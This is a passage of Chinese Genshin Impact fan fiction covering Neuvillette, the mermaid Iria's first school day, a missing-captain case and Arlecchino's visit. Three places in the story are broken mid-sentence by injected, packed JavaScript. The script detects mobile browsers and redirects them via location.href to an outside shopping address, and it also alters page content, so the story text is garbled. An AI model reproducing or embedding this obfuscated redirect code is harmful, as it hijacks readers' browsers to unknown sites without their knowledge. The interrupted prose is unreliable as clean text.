今天小人鱼不知道是怎么了,按理来说它的睡眠时间是足够的。但看它现在这样,着实是有点不配合,那维莱特便尝试与它讲起了道理:“伊芮娅,学堂上课的时间是早上九点,算上吃早点和从沫芒宫去海沫村路上所耗的时间,你最晚要在八点十五起床穿戴完毕,八点四十出门。” “嗯……哼……”伊芮娅撑开眼皮,眨了记下眼睛,又接着打了一个大大的哈欠,“吼呀~~~” “现在已经八点二十了。”那维莱特扫了眼挂钟,语气微凝,“所以你还有二十分钟的时间可以吃早点,然后我们必须要出门。第一天去学堂,不可以迟到。” “咿呀?” 伊芮娅呆了一瞬,见那维莱特语气认真,表情严肃,也不敢再任性了,三下五除二把麦片塞完,反手用袖子擦了擦嘴,然后望向那维莱特。 那维莱特从餐桌上起身,很快拿来一个mini小背包,取下右手手套,用指甲小心翼翼地打开背包,从里面拿出一方白丝手帕,递给伊芮娅。 “下次不要用袖子擦。包里有我事先给你准备好的一些上学用品,每天下学要记得自己收齐东西,然后等我过来接你,如果我有事来不了,会拜托芙宁娜、塞勒洛斯或者美露莘过去,不可以和不认识的人离开。” 伊芮娅点点头,表示它记住了。 那维莱特将它放到源水之滴里,出门了。 因为那维莱特前几日就同美露莘说过这事,负责管理学堂这一块的阿加莫今日算着时间等在了海沫村村口。 它站在村口的大石块上,远远瞧见那维莱特,跳下石头,迎了上去。 “那维莱特大人,早上好,您来了啦!” 那维莱特同她问过好,右手虚虚托着源水之滴,交给阿加莫,“伊芮娅就拜托你们了,等下午五点放学我再来接它。” “这里是适合它体型大小的桌椅用具。”那维莱特抬手化水成形,变出一小套桌椅板凳、书柜小床,继而用一个泡泡将它们圈住,也拿给了阿加莫。 末了,那维莱特半蹲下来,平视着源水之滴里的小人鱼,嘱咐道:“伊芮娅,要认真学习。” “吼呀!”小人鱼狠狠点了两下头,原本迷迷糊糊的眼睛也睁得大大的。 阿加莫笑道:“时间差不多了,那维莱特大人,我就先带伊芮娅进去了。” 那维莱特微微颔首,等阿加莫走进村子,他也转身离开。 往外游了些距离,那维莱特虽然心里知道伊芮娅和美露莘在一起很安全,美露莘的学堂对它来说也很适合,但到底是没亲眼瞧见小人鱼上课的模样,有些放心不下。 他犹豫了几秒后,决定回去,就悄悄地看上一眼。 那维莱特很快折头,原路返回,临到村子口的时候,还不忘在自己身上罩上一层隐匿身形的水球。 若伊芮娅瞧见了,一定会说这是源水之滴的plus版。 那维莱特很熟悉海沫村,进了村子,操控着一路上游过的水流,在不惊动其他美露莘的前提下,直奔学堂。 隔着窗户,他看见小人鱼因为体型太小,被安排坐在第一排,教室里除了它还有三只小美露莘。 伊芮娅此刻瞧上去已然没了睡意,正乖巧地坐在用水元素力定制成的椅子上,双手撑着下巴支在桌上,认认真真在听美露莘老师讲课。 至此,那维莱特隐隐躁动不安的心,才算是落回了实地。 就在他想要离开时,刚好遇上抱着一摞教材往教室方向走的阿加莫。他撤去隐匿的水球,显出身形。 “那维莱特大人?您怎么……” “阿加莫,伊芮娅昨晚没有休息好。”那维莱特道,“中午的午间休息,让伊芮娅多睡一会,今天下午第一节课,它就不上了。我还有公务要处理,先走了。” “哦,好的。”阿加莫应下,然后呆呆地望着那维莱特一眨眼的功夫就在原地消失了。 阿加莫一愣,随后回过神来抱着书往教室里走,只是路上还在自言自语:“真不愧是那维莱特大人,游泳的速度好快,说走就走,一下就没影了。” · 等那维莱特回到沫芒宫,一如往日与遇到的工作人员点头问安,直至推开办公室大门,坐到办公桌前,已经快到九点半了。 这比他平日上班晚了半个小时。 他看着挂钟微微蹙眉,手里翻找卷宗的动作不由加快了些。 今天晚上要按时下班,伊芮娅第一天上学,他没道理在这么重要的节点,去接它放学时迟到或者因为自己的原因,无法去接它。 只可惜,计划总是赶不上变化,等到了下午四点四十分,那维莱特已经处理完今日的全部公务,正打算起身去接伊芮娅,办公室里却突然闯进来个人。 “不好了,不好了,夏沃蕾队长失踪了!” 那维莱特见不速之客一身特巡队制服,还别有小队长的肩章,明白了此人的身份。 “不要着急,慢慢说。”他伸手示意来人坐下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583622|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 特巡小队长急道:“半个月前,夏沃蕾队长开始着手追查‘鲁伯特之泪’这个组织。她与我们事先约定,也是我们特巡队一个不成文的规定,情况可控时,每隔三天,递送一次信息;陷入危机时,以周为间隔,回报自身平安。” “夏沃蕾队长在七月四日、七月七日,持续两次三天一报之后,隔了一周,在七月十五日才又传了一次消息。而今天已经是七月二十二日了,队长至今没有传回一个字,也没有留下任何暗信。” “之前队长从来没有出现过这样的情况,我和特巡队里的所有队员,现在都非常担心队长的安全。所以,所以队里派我来当代表,和那维莱特大人汇报这件事。” 说完,这个特巡小队长脖子一昂,双目紧闭,一副我话已经带到了,要杀要剐悉听尊便的样子。 见状,那维莱特脑子里开始莫名反省自己,是不是往前在与人类保持一定距离的同时,有些太过不近人情,所以导致他像是抱着必死的信念,来和自己汇报工作上的事务。 “我知道了。”那维莱特稍稍放缓了语气,说道,“你先回去吧,我会将这件事安排下去,让逐影庭分出人手负责,去探查夏沃蕾的下落。” “那实在是太感谢那维莱特大人了!”特巡小队长喜道,“虽然我们特巡队也在查,但是人多力量大,逐影庭能帮忙真是再好不过了!” 那维莱特“嗯”了一声,目光越过他,落在他背后墙上的挂钟上。 已经四点五十了。 “哦,还有一事。”特巡小队长从胸口扒拉出来一坨皱巴巴的纸,放在桌子上,用力撵了撵,将它勉强展平。 “这是夏沃蕾队长十五号那天送来的,看上去是一张什么药剂的配方图纸,因为‘鲁伯特之泪’案件被定位为‘机密’,夏沃蕾队长不在,我们这些小队长不敢贸然送去枫丹科学院。所以在开会商议过后,决定送来给您。” “以您在枫丹的地位,肯定认识熟识可信的药剂学家。这是夏沃蕾队长冒着生命危险换取的情报,我们必须珍重对待,给您添麻烦了!” 那维莱特从抽屉里拿出一个文件袋,将遍布折痕的三张A3图纸对折,放了进去。 “还有事吗?”他看着已经跳到四点五十五分的时钟,淡淡问道。 特巡小队长一怔,慌忙摇头。 下一瞬,他就看见原本坐在办公桌后面的那维莱特,拿起文件袋,凭空不见了。 空气中,独留下一句:“我现在有点急事,劳烦你离开时,帮我关一下办公室的门,谢谢。” 特巡小队长摸了摸后脑勺,偷感很重地拔腿跑出办公室,“嘭”一声,关上了门。 五分钟的时间,那维莱特堪堪赶到了海沫村村口。 正往学堂方向走,就迎面遇上了阿加莫牵着伊芮娅出来。 那维莱特从她手里接过伊芮娅,将它捧在掌心,柔和地笑问:“第一天上学,感觉怎么样?” 哪成想,伊芮娅“哇呜”一声,哭了出来。 33.Chapter 33 7.22 Monday 傍晚凉风 见状,那维莱特一愣,下意识望向阿加莫,眼底除了疑惑的询问,还不受控制地带上了淡淡的谴责之意。 除了上回那维莱特说放伊芮娅住校学习,它哭得伤心。他还从未见过小人鱼这般模样,之前它哭,基本都是眼眶晕红,目含泪水,很没有像这般,大滴大滴滴泪往外掉,而且一见他面就哭了起来,这是得受到多大委屈? 难不成,上学第一天,伊芮娅就被欺负了? 这么想着,他也就如是问了出来。 阿加莫闻言一慌,连连摆手否认。 那维莱特却是不太相信,直到瞧见小人鱼也摇摇头,说了句“没有”,才稍微放下心来。 他严肃道:“到底发生什么了?” 小人鱼手背擦着眼泪,支支吾吾半天,嘴里没崩出个所以然。 “那维莱特大人。”阿加莫适时插话,“伊芮娅很聪明,早上学了音素,下午以问答的形式,与老师进行互动。伊芮娅虽然是初次学习,但它每一项完成得都非常出色。” “对了。”她掩唇笑着嘱咐道,“您明儿别忘了给伊芮娅准备些下午茶点带来,按坐次,周二轮到它向其他小美露莘分享美味了。” 说完,她就很识趣地离开了,将空间留给那维莱特和伊芮娅。 他们此刻站在海沫村的主干道上,那维莱特着实有点显眼,时不时就有美露莘路过,同他挥手打招呼。 他托着伊芮娅出了海沫村,找了一个僻静的海域,认真问道:“伊芮娅,你同我说实话,在学堂到底发生了什么?为什么会哭?” 伊芮娅扁着小嘴,羞赧无比,红着脸,却提高音量大声喊了一句:“对不起。” 比起句意,那维莱特首先关注到的,是它的发音。 他有些诧异,小人鱼不过就上了一天学,口齿咬字发音居然进步如此显著。 伊芮娅微低着下巴,说道:“老师上课说,在这里‘叭叭’是父亲的意思。” 那维莱特微愣,不明白怎么突然提起这个,颔首回道:“是的。” 这下子,伊芮娅头一垂,往下埋得更深了,“但是……在我的种族文化里,‘叭叭’是称呼亲近之人的用语。” “‘叭叭’、音同‘扒’,就是……是”伊芮娅声音越来越小,“可以依靠,可以仰仗的意思。” 那维莱特略一沉吟,复问:“那‘麻麻’是何寓意?” 小人鱼嗫嗫道:“是称呼可以麻烦、可以寻求帮助的人。” 这下,那维莱特算是明白伊芮娅为什么一见面就叫他“叭叭”,又很快改口叫“麻麻”了。 小人鱼从天上掉下来,被他救下后,本着对陌生环境的不安,讨好地称呼他为叭叭,表达它的亲近之意,再被他拒绝之后,试探着唤他麻麻,是首站挫败后退了一步,更低一级的请求。 可他不知道异世与提瓦特的文化诧异,否定了这两个称呼,由此后面伊芮娅很不主动唤他,说话都尽量在用语气词打头。 也就难怪,伊芮娅最初和他相处的时候,总呈现出一种“太过懂事”,甚至懂事到不符合它应有年岁的自然状态。 想到这里,那维莱特不免回忆起小人鱼和塞勒洛斯的互动。虽然很不想承认,但是就他眼中看见的,伊芮娅面对塞勒洛斯时,感觉它会更加松快自在些。 “对不起,我之前不知道。”伊芮娅小心观察着他的神情,见他眉心微蹙,沉默良久,便再次开口诚恳致歉。 那维莱特用指腹揉了揉它银色的小脑袋,“无碍,这不是你的错。在发现‘摇头点头’寓意与提瓦特不一样后,我就应该就意识到其中的不寻常处,是我忽视且默认了你对我的称呼。” “错不在你。”他下结论,总结道。 “咿呀!”小人鱼肉眼可见地开心了起来。 安抚过伊芮娅,那维莱特将它放入源水之滴,往梅洛彼得堡的方向去了。 路上,那维莱特一直在重新思考他给伊芮娅的定位。 他事先觉得伊芮娅是一只需要监护人监管保护的幼崽,可看它的表现,它的学习能力十分出众,无论是它控制水元素力,还是说话发音,亦或是整体心智发育,它进步的速度都太快了。 或许,他应该适当给伊芮娅一些空间,在保证安全的前提下,对它的管束稍稍放宽些。 比如……想办法给它弄出一个,可以让它在路面上自由移动的载具之类的…… 没等那维莱特构思好具体的点子,梅洛彼得堡已经近在咫尺了。 那维莱特轻车熟路地从隐蔽入口进去,一路通畅地来到了医务室。 赶巧了,他来得不是时候,希格雯今天不在。 无奈之下,那维莱特只得到办公区寻到莱欧斯利。 “哟~这不是我们的最高审判官,枫丹鼎鼎有名的大忙人,今儿怎么有空过来。”莱欧斯利熟练地给他泡了杯茶,又从身上摸出几块糖果,包在糖纸里捏碎了,弄成小块小块的,放到伊芮娅面前。 “嘶,让我猜猜,这次过来,也是为了公事吧。”他笃定道。 “如你所料。”那维莱特开门见山道,“我这里拿到了一份药剂配方,烦请公爵帮忙带给希格雯,请她研究辨认一下,这份药剂原材料是什么,有何功效。” “得嘞。保证给您把话带到。”莱欧斯利接过文件袋,看都没看上一眼,拉开抽屉,很随意地丢了进去。 本着“来都来了”的精神,那维莱特顺口问了一句:“露西恩一伙怎么样了?” “嗐,能怎么样。”莱欧斯利抱着手,“和其他犯人一样,闹腾了几天之后,现在也安安分分、老老实实地接受劳动改造了。” “毕竟又不是死刑。他们一伙都才三十出头,就算被判了个十五年的刑期,出狱也还四十多岁,不到五十,可以说是充满了希望。” “况且我这梅洛彼得堡又不是什么吃人的地儿,只要守规矩,不算难呆。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那维莱特伸手,将放在最上头,摆放的还有些歪的文件拿过来。他今日已经处理完了送来的所有文件,所以这份是他离开后,再放到桌上的? 他打开封皮,只见扉页上写有“卢卡斯调查记录”七个大字。 霎时间,那维莱特伸手一拂,充盈的水元素力扫荡过办公室的每一个角落。 片刻后,那维莱特收了元素力。 他办公室里的所有东西,都没有被人动过,只多出来这一份文件。但文件已经被处理过了,上面很干净,没有留下任何信息。 卢卡斯的事,他答应了科斯蒂塔芜,会在尽量隐蔽的情况下私下调查。所以,他亲自将这件事交给了,在他身边工作已有五年的美露莘秘书负责。 共事已久,她熟悉那维莱特的习惯,断然不可能将一份没有处理过的文件,放到他批阅过的文件堆里,而且还放歪了。 如果这份文件不是出自美露莘秘书,那会是谁将它放到了自己的办公桌上。 而今日,他走得匆忙,刚好没有关门…… 办公室的门,应该是那个突然闯入的特巡小队长关的。 至于卢卡斯,看科斯蒂塔芜的态度,应该不会告诉其他人。 知晓的,就只有…… 那维莱特心底有了答案,凝重的目光蓦然散开,垂眸翻开了文件。 34.Chapter 34 7.23 Tuesday 清晨云缠 翌日一早,那维莱特准点将伊芮娅送去学堂,独自返回沫芒宫,走到半途,却突然折头,去了咻登锵剧院,也就是智源孤儿院原址。 关于那本莫名出现的《卢卡斯调查记录》,昨夜那维莱特在脑海中细细筛选,在排除了所有不合理项之后,只余留下了“林尼”这一个答案。 毕竟科斯蒂娜芜谈及卢卡斯的时候,他也在场,且让某物从某处消失,再凭空出现到另一个地方,正是林尼这位魔术师所擅长的把戏。 至于林尼为何要这么做,探究这个问题,正是那维莱特此行的目的。 今日在咻登锵剧院的人还不少,不过都是些装修工人,看这手脚架围了一圈的架势,林尼他们应是打算大改重装。 那维莱特走入大门,一路彬彬有礼地不断点头,回应过工人的问早,寻着记忆,去往先前的院长办公室。 这个房间下设机关密道,林尼和琳妮特还亲眼见过机关启动,想来之后一定对此仔细探查过,所以断然不会将它拆除,大概率是保留房间,安排自己人住进去,平日里维持原样,遇到特殊情况时,也算多一条退路。 而事实也正如那维莱特所料,这个房间门口,现在被挂上了剧院经理室的字样。 礼貌地敲了敲门,得到回应后,那维莱特推门走了进去。 一开门,只觉眼前焕然一新,房间内藏青色的软装风格,与先前黑白灰的刻板无趣、死气沉沉的色调截然不同。 整体的布局倒是与那维莱特的办公室很相似,进门左手边是休息区,右侧是两排书架,办公桌正对着大门,确保一有来客造访,主人能在第一时间看见。 不巧的是,林尼此刻不在,通常与哥哥形影不离的妹妹琳妮特,正一个人坐在办公桌后。 她瞧见那维莱特时的神情,像是有几分吃惊,却又有几分早有预料的感觉。 “哥哥今日有事,不在这里。”琳妮特起身道。 一句话,堵住了那维莱特原本想问的问题,即是呈情,又是摊牌。 “资料是怎么查的。”他略一思索,换了一个问题。 “我近日都在处理咻登锵剧院开业事宜,哥哥自己去查的,没有假手他人。”琳妮特给他沏了杯茶,“这茶是我用至冬雪山融水沏的。” 那维莱特端起杯子,呷了一口,“如此看来,阿蕾奇诺先生从至冬回到枫丹了?” “是的。”琳妮特点头。 那维莱特放下茶杯,抬眼,“我需要一个解释。关于你们插手这件事情的解释。” “我和哥哥的魔术表演,在舞台上从来没有出现过失误。”琳妮特淡声道,“这是第一次,哥哥和我,都希望这也是最后一次。” “这个理由并不能说服我。” “……”琳妮特沉默片刻,说道,“这也是父亲大人的意思。” “烦请你代为转告阿蕾奇诺先生,愚人众不宜过多插手枫丹事宜,我亦希望这是最后一次。” 琳妮特垂下头,没吭声。 那维莱特随即起身走了。 愚人众,一个隶属冰之女皇的组织。 他对愚人众并没有什么世俗的偏见,也对坐落在枫丹的壁炉之家没有什么意见,前提是他们对枫丹没有威胁。 在他的印象中,以阿蕾奇诺为首的壁炉之家一行人,在枫丹所有大大小小的动静,都能称得上“体面”两字。 而他们最近的所作所为,尤其是林尼闯入他的办公室的举动,已经……严重越界了。 没一会儿,那维莱特回到了沫芒宫。 安排去查卢卡斯的美露莘秘书怀抱一个文件袋,站在门口,时不时垫起脚尖,往外看看。 “那维莱特大人!早上好,您来了!” “嗯,早上好。”那维莱特解开锁门的咒印,推开门,“我们进去说吧。” 也是赶巧了,负责林尼魔术失踪案的书记官也来了。 三人一起进屋坐下,那维莱特展手示意美露莘先行汇报。 美露莘秘书打开文件袋,抽出里面放的几页散乱没有装订的纸,递给那维莱特,“这些是查到的有关卢卡斯的全部资料。” 那维莱特接了过来,顺带还拿出林尼昨日弄的那份,两份资料相对照着开始翻阅。 美露莘秘书从口袋里掏出笔记本,汇报道:“卢卡斯,男,三十三岁,原从事歌剧编剧,二十九岁时被科斯蒂亚芜小姐引荐出演歌剧《卡门》中唐·豪塞一角,两人因戏生情,于两年后向大众公开关系。” “科斯蒂亚芜很喜欢举荐别人吗?”那维莱特问道。 提到这个,坐在美露莘秘书身边的书记官面色瞬间变得不是很好看,见美露莘秘书没说话,她开口回答道:“科斯蒂亚芜是一个歌剧疯子。” 那维莱特的视线随之落在她身上。 “她出生歌剧世家,底蕴丰厚、足够出色且名声响亮。一部歌剧,若想请她出演,除了剧作够硬以外,她还有一个不成文的规定。便是只要是她出演的歌剧,她都会插手剧导对同台演出的人员选择。” “她的标准,是根据角色挑选演员,希望能找到最符合这个角色的演员,演员要无限度地贴近角色本身。” “她对歌剧非常负责,这不是挺好吗?”美露莘秘书没有查这方面的内容,不解道。 书记官掩面道:“我来沫芒宫工作之前,曾被她举荐过……但是我根本不会唱歌剧,所以她针对我开了一个集训班,请了各类老师,一对一教导我。” 美露莘秘书歪了歪头。 “我从没接触过歌剧,相当于从零开始学习。而整个剧组,都在等着我……等我练会唱好,能够登台。而演出的时间,往后拖延了……一整年。” “辛苦你了。”那维莱特说,“是《蝴蝶夫人》吧,能顶着巨大压力,一年半练成,登台表演铃木一角,并做到了最完美的演绎,个人能力非常厉害。” “谢谢你,那维莱特大人。”书记官深深吸了一口气,眉眼逐渐温和了下来,微微调整好状态后,继续说道,“索菲玛娜这事一出来,我就觉得是她压力过大,在第一次登台失误过后,临阵脱逃了。” “失误?”那维莱特瞬间半眯下眼。 他记得,在之前送来的笔录里,从未提及“失误”二字。 那维莱特立掌示意书记官暂停片刻,起身准确地从书架上抽出一个档案盒,取出一个笔记本和几张装订整齐的纸。 “做笔录的五十一人,没有一人提到索菲玛娜在台上出现了‘失误’。” 书记官唇齿微张,看上去很是惊讶。 “咦,怎么会?”没等她开口,美露莘秘书道,“有一句大合唱,索菲玛娜不知道是有意还是无心,唱了三秒的滑音,虽然她的声音混在合唱里面,出错不太明显,但是坐在现场且对歌剧有所了解的观众应该都能很清楚的听出来。” “逐影庭呈上的卷宗里没有。”说着,那维莱特将手里的东西递给两人。 两人分着粗略翻看了一遍,在做笔录的剧组三十九位成员和十二位前台观众中,确实没有任何一个人,对索菲玛娜的失误产生了特别的关注。 “后续可以往这个方向探查。”那维莱特提笔将这个疑点记下,转眸望着美露莘秘书道,“很抱歉打断你的称述,可以继续了。” 美露莘秘书点点头,继续道:“根据调查,索菲玛娜的仪体课老师在三个月前休了产假,之后都是由卢卡斯代课教授。而上课期间,两人一直处于独处状态。剧组场务人员曾数次路过练功房时,听到卢卡斯大声斥责索菲玛娜。此外,还有四名女演员见过索菲玛娜捂着脸跑出练功房,躲在更衣室里痛哭流涕。” “同时,整个剧组成员对卢卡斯个人评价,近乎百分之九十五的人,认为他性格极差,平日独来独往,里眼高于顶,只对科斯蒂亚芜小姐略有和颜。而剧组的其余人员,他都不屑理会,一周说不上一句话。” “但我托关系,找到了卢卡斯在转行之前所供稿的剧组,走访了曾与他共事过的三个场务人员,他们对卢卡斯的评价极高,均称其善良、耐心、温和。” “我觉得这一点很是矛盾,就深入查了一下。”美露莘秘书顿了顿,语气凝重道,“卢卡斯,实际上出生歌剧巨匠梅里耶家族,是那位天才梅里耶先生的曾孙。他于二十四岁离家,隐姓埋名独自奔波在枫丹各地大大小小的剧组里打拼。” “世人总觉得他高攀了科斯蒂亚芜小姐,可他的真实身份与她可谓是门当户对,甚至两人还有一个娃娃亲的婚约在身。但科斯蒂亚芜小姐对此,好像并不知情。” 说道这里,美露莘秘书腮帮子鼓鼓地,口气也焦躁了几分。 “我觉得卢卡斯可能背弃了科斯蒂亚芜小姐,与索菲玛娜私奔了。” 屋外明明没有下雨,却是一声惊雷炸响天际。 “事先,我是查到两个星期前,卢卡斯突然带着索菲玛娜去了梅里耶庄园,他们对外宣称的是,请著名女高梅里耶夫人指导教戏。但按他们的身份,应该很难与梅里耶家族有交集。我当即觉得这是一个值得细究的点。” “索菲玛娜在进去一个小时后就离开了,而卢卡斯却在庄园里住了一晚。我便是根据这个线索,顺着挖出卢卡斯的真实身份。也由此延伸,查到了卢卡斯与索菲玛娜很有可能之前就认识。” “科斯蒂亚芜小姐碍于身份,实际上很少外出购物,遇到索玛菲娜的那天,是卢卡斯编造的生日。她出门去商城实际上是去与卢卡斯约会,但他临时爽约了。科斯蒂亚芜小姐独自用完午餐,在从饭店出来到大门的这一段路,必定回路过索菲玛娜任职的化妆品店。彼时,索玛菲娜才入职这家店一个星期。” “一件事可能是巧合,但是桩桩件件都严丝合缝地扣在一起,实在太巧了,巧到更像是人为设计。” “所以,我才有了方才的大胆猜测。而证实我猜想的,是一张明晚九点发船,离开枫丹去往璃月的船票,购票人的姓名是期卡路·梅里耶。” 那维莱特沉吟片刻,拉开抽屉,签了一张调查令,拿给美露莘秘书,说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617022|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你配合逐影庭,彻查从索玛菲娜失踪当日开始,所有渠道的出境信息。” “好的,那维莱特大人。”美露莘秘书行礼道。 在她转身之际,那维莱特柔声补充了一句:“一线工作交给逐影庭,你从旁监督即可。还有……平日你常居沫芒宫,办公事务接触地多些,鲜少亲自处理各类案件。我能够理解你对科斯蒂亚芜的喜爱,但……尽量不要参杂太多的个人情绪去处理案件。” 美露莘秘书一愣,垂下头,两只耳朵尖尖轻微泛起薄红:“对不起,那维莱特大人,是我没有把握好分寸,我很喜欢嘀呜。” 见状,那维莱特的声音放得更加轻柔了些,“我分配下去的任务是让你查卢卡斯的资料,你基于对偶像的喜爱,提出了自己的案件思路,无论沿着这条路走下去的最后结果是什么,你都已经出色地超额完成了任务。” “你是一名文员。我并不希望你因为对偶像喜爱之心,不顾自身安全,前往凶险难测的一线。” “以科斯蒂亚芜相比,她会强势地插手选角,对自己出演的每一场歌剧都精益求精,但她从不擅论舞台的灯光与布景。” 美露莘秘书手里捏着调查令,怔了好一会,弓腰一礼:“我明白了,那维莱特大人,谢谢您。” “嗯,路上注意安全。”那维莱特目送着她出去,合上了大门后,眸光望向书记官,“林尼魔术失踪一案,情况如何?” 坐着的书记官“刷”一声,站了起来,深深鞠了一躬,“抱歉,我没能完成您安排的任务。” 那维莱特眼底翻过一道凉色,淡淡道:“坐下说。” 书记官重新坐下,双手拘谨地放在膝盖上,声音略涩,“除了林尼先生的猜测和原先卷宗上的内容,什么新发现都没有,也没查到密道那摊水的来源。” “送去科学院检测了吗?” “我派人挖开密道,收集了那水渗入地下和湿的稀泥,送去科学院检测。检测的结果显示,那就是一滩最普通的水。” 那维莱特闭上眼睛,食指无意识地轻敲起桌面,半响后,他又问:“失踪观众的身份信息查出来了吗?” “没有。”书记官沮丧道,“十一,即是地狱;十四即‘是死’谐音;所以十一排十四号座位一直不被观众所喜,林尼先生魔术演出当天,这个座位的票根本没有被售卖出去。这个座位上,本应没有人,是个空座!” “我又走访询问了当天坐在这个座次周围的八位观众,他们都不认识这人,甚至因为他太过安静,他们对这人也没有一个具体印象。是抽号抽到了他,他们才注意到有这么一个人。” “不,他们在说谎。”那维莱特睁眼,犀利的目光落在书记官脸上,笃定道,“他们一定认识这位观众。” “为何?” 那维莱特分析道:“诚如你所言,十一排十四号座位是一个不详的号码,在我印象中,超过八成的剧务会将这个座位空置,不对外售票。所以这个座位常年都是空的。” “一个不详的、被人厌弃、空置落灰的座位,突然有人坐到上面,一定会吸引到周围人的关注。” 书记官猛一合掌,“对啊,这一点我怎么当时没想到。” 她正想开口说什么,门外蓦然传来一阵敲门声。 “那维莱特大人,很抱歉打扰您。至冬外交官阿蕾奇诺女士递帖并在外等候,请求尽快与您安排会见。” 那维莱特扬声回了一句“请她稍等片刻”,而后对书记官说道:“我批一张拘留令,将这几人关押四十八小时,你协助警备队务必在留置期间,从他们口中问出些东西。” “是。” “顺带帮我将阿蕾奇诺先生请进来。” 那维莱特刚刚端起杯子喝了一口水,咽下去,就听高跟鞋敲击地面的声音,由远及近,越发响亮。 不消三分钟,阿蕾奇诺就跟在芙宁娜身后,进到了办公室。 “不如我们移步去会客室?”那维莱特看着走进来的两人,问道。 芙宁娜耸了耸肩,“我是无所谓啦。” “不,这里就很好。”阿蕾奇诺道。 那维莱特也没再多言,展手道:“请坐。” 他余光扫过坐在次首位上的芙宁娜,问道:“阿蕾奇诺先生此来何事,为何如此焦急?” “我有一件事情,想请水神大人与那维莱特先生帮忙。但事情有些麻烦,我想二位并不愿意出手相助。” 闻言,芙宁娜眨了两下眼睛,抱着手端起架子道:“所以你是觉得我们不愿意帮忙还找上门来?” 阿蕾奇诺笑道:“除了两位,整个枫丹境内,都没有谁,拥有解决这件事情的能力了,包括我在内。” 芙宁娜“哼”了一声:“说来听听,兴许我心情一好,可以答应帮你呢。” 阿蕾奇诺轻叹道:“事情是这样,家里有个孩子,平日里最是乖巧,有潜水的爱好。前日,他一时贪恋水下美景,失去分寸,下潜到了深水区。回来后,他就身体虚弱,昏迷不醒。我们请了医生,却没有查出病因。” 35.Chapter 35 7.23 Tuesday 午间墨泼 灼热的夏风不请自来,卷着外头的暑气,探过窗户,翻起阵阵热浪,可它却只得了片刻肆意。转瞬之间,云入墨染,骤改碧空颜色。 乌云厚重的如破了口的冬被,一甩接着一抖,盖到天上,陈旧的棉花从狭长的裂□□出,渐渐膨胀蛮不讲理地抢占起方寸天空。过了一会儿,连太阳都被它挤到了天幕的边边角角上,收笼起日光,缩成一小团,好不可怜。 穿过窗户的光线碍于天色的转变,变得愈发细弱,屋内天光缓缓变淡。 芙宁娜微微侧身,避开被侵占绞杀地仅剩下一缕的日光,惑道:“病因都没有检查出来吗?” “是的。”阿雷奇诺十指交叉,搭在小腹上,微点下颌,“他是昨天下午出的事,林尼和琳妮特当即就带他去找了壁炉之家的家庭医生,检查无果后转送枫丹廷内梅奥克里夫兰医院,给他做了全套身体检查。同样,也没有检查出菲米尼为何昏迷不醒。” “昨天?”那维莱特从书立中抽出一份报告,翻开道,“你不是今早凌晨才入境的吗?” “嗯?”阿蕾奇诺道,“我的确是今早六点从柔灯港进入的枫丹,除了身为同事的多托雷和达达利亚以外,还有随行人员十一三位。” 芙宁娜一愣,“三个执行官……” “愚人众执行官第二席博士和第十一席公子。”那维莱特提笔,在特殊人员入境的名单上添了两个名字,没什么感情地说道,“我有点好奇了,冰之女皇究竟下达了什么任务,需要三位执行官同时来到枫丹。” 阿蕾奇诺没有攻击性地笑了笑,“我在至冬的公务已经处理完了,所以返回壁炉之家照看孩子们。而那两位,只是搭了我的顺风船,好歹同事一场,我不便回绝。” 说到这里,她稍稍停顿了几秒,看了眼对坐两人的表情接续道:“据我所知,他们是为了自己的私事而来。” “不管什么原因,三位执行官没有进过任何外交程序或者官方手续,旁若无人地踏上枫丹的领土,你们实在太目中无人了!当身为水神的我是个摆设吗!”芙宁娜一拍桌子,起身怒斥道。 面对神明的怒火,阿蕾奇诺不慌不忙地从身上摸出一本证件,翻开递过去,说道:“我严格遵守枫丹的出入境手续,且拥有正规入境凭证,水神大人可以随时查看。至于多托雷和达达利亚,他们两人确实在入境的流程上出现了点问题。” “严格意义上来说,他们两人跳过了枫丹的入境手续,算是偷渡入境。” “你,我可以暂且不计较。但……”芙宁娜一手插着腰,趾高气扬道,“但是,我要对‘博士’和‘公子’两位执行官正式提起诉讼!” 阿蕾奇诺嘴角扬起的弧度更大了些,眼底飞快划过一抹幸灾乐祸的笑意,不慌不忙地开口,重新带走话题,“到了枫丹境内,约莫七点左右,我先回了一趟壁炉之家。在我离开的小半个月里,从智源孤儿院转出孩子们,已经很好地适应了壁炉之家的生活。” “那维莱特先生若有时间,欢迎你随我去壁炉之家走走,亲自检查一下你出于信任,托付到我的手里的孩子们。” “我会的。”那维莱特点头应下。 “哎,智源孤儿院孩子们身上的病症,我还有法子,能寻多托雷帮忙治疗。可怜菲米尼,到现在还躺在床上,不知病因,昏迷不醒。” 芙宁娜皱眉道:“连愚人众的‘博士’都治疗不好的病症,我枫丹又不善医术,这方面须弥的学者更擅长吧。” “道理是这样,但是须弥离枫丹太远,无论是我过去面见草神带学者过来,还是我带菲米尼过去医治,在路上都要耗费大量的时间,而菲米尼不知还能撑多久。所以……” 阿蕾奇诺眸光转落到那维莱特身上,“所以在枫丹医治,是我们最佳的选项。况且他是在枫丹海域中,身体突然出现了问题。如此一来,或许生活在海底的美露莘一族,也曾遇到过相似的问题,知晓应对之策。” 